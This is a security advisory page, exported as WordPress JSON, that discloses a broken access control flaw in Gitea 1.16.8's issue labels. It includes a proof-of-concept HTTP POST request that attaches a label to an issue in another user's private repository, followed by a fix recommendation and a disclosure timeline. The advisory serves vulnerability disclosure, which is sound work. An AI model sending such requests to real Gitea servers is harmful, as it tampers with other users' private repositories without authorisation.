{"id":23025,"date":"2022-10-31T12:33:00","date_gmt":"2022-10-31T11:33:00","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=23025"},"modified":"2024-07-24T11:46:00","modified_gmt":"2024-07-24T09:46:00","slug":"usd-2022-0026","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0026\/","title":{"rendered":"usd-2022-0026"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.0\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h2>usd-2022-0026 | Broken Access Control in Gitea Issue Labels<\/h2>\n<p><strong>Advisory ID<\/strong>: usd-2022-0026<br \/><strong>Product<\/strong>: Gitea<br \/><strong>Affected Version<\/strong>: 1.16.8<br \/><strong>Vulnerability Type<\/strong>: <a>https:\/\/cwe.mitre.org\/data\/definitions\/284.html<\/a><br \/><strong>Security Risk<\/strong>: Medium<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/gitea.io\/<\/a><br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>Advisory Status<\/strong>: Closed<br \/><strong>CVE number<\/strong>: Not requested yet<br \/><strong>CVE Link<\/strong>: Not requested yet<br \/><strong>First Published<\/strong>: Not published yet<br \/><strong>Last Update<\/strong>: 2022-06-30<\/p>\n<h3>Introduction<\/h3>\n<p>Gitea allows users to add labels to issues. Due to improper access control, it is possible for any user to add labels to any issue.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>Issue labels can be attached to issues that you should not be able to access.<br \/>The issue_id <strong>7<\/strong> in the example below is an issue of a private repository of another user.<\/p>\n<p>The <strong>4091<\/strong> is the label id. The label must be exist in the target repository.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/testuser\/test222\/issues\/labels<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">localhost:3000<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">94<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">sec-ch-ua<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">\"Chromium\";v=\"97\", \" Not;A Brand\";v=\"99\"<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"l\" style=\"background: #263238;color: #c3e88d\">*\\*\/\\**<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/x-www-form-urlencoded; charset=UTF-8<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">X-Requested-With<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">XMLHttpRequest<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">User-Agent<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/97.0.4692.99 Safari\/537.36<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">sec-ch-ua-platform<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">\"Linux\"<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Origin<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">[http:\/\/localhost:3000]()<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept-Encoding<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">gzip, deflate<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept-Language<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">en-US,en;q=0.9<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">XXX<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Connection<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">close<\/span>\n\n\n_csrf=rmB[...]&amp;action=attach&amp;issue_ids=7&amp;id=4091\n<\/pre>\n<\/div>\n<h3>Fix<\/h3>\n<p>It is recommended to restrict access to sensitive functions or information by default.<br \/>Required access privileges should be granted explicitly by a global access control mechanism.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a>https:\/\/cwe.mitre.org\/data\/definitions\/284.html<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-06-22<\/strong>: vulnerability identified by Christian P\u00f6schl<\/li>\n<li><strong>2022-06-22<\/strong>: First contact request<\/li>\n<li><strong>2022-07-01<\/strong>: Investigation started by vendor<\/li>\n<li><strong>2022-07-15<\/strong>: Vendor confirms remediation<\/li>\n<li><strong>2024-05-29<\/strong>: This advisory is published<\/li>\n<\/ul>\n<h1>Credits<\/h1>\n<p>This security vulnerability was identified by Christian P\u00f6schl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0026 | Broken Access Control in Gitea Issue Labels Advisory ID: usd-2022-0026Product: GiteaAffected Version: 1.16.8Vulnerability Type: https:\/\/cwe.mitre.org\/data\/definitions\/284.htmlSecurity Risk: MediumVendor URL: https:\/\/gitea.io\/Vendor Status: FixedAdvisory Status: ClosedCVE number: Not requested yetCVE Link: Not requested yetFirst Published: Not published yetLast Update: 2022-06-30 Introduction Gitea allows users to add labels to issues. Due to improper access control, it is [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-23025","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23025","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=23025"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23025\/revisions"}],"predecessor-version":[{"id":23151,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23025\/revisions\/23151"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=23025"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}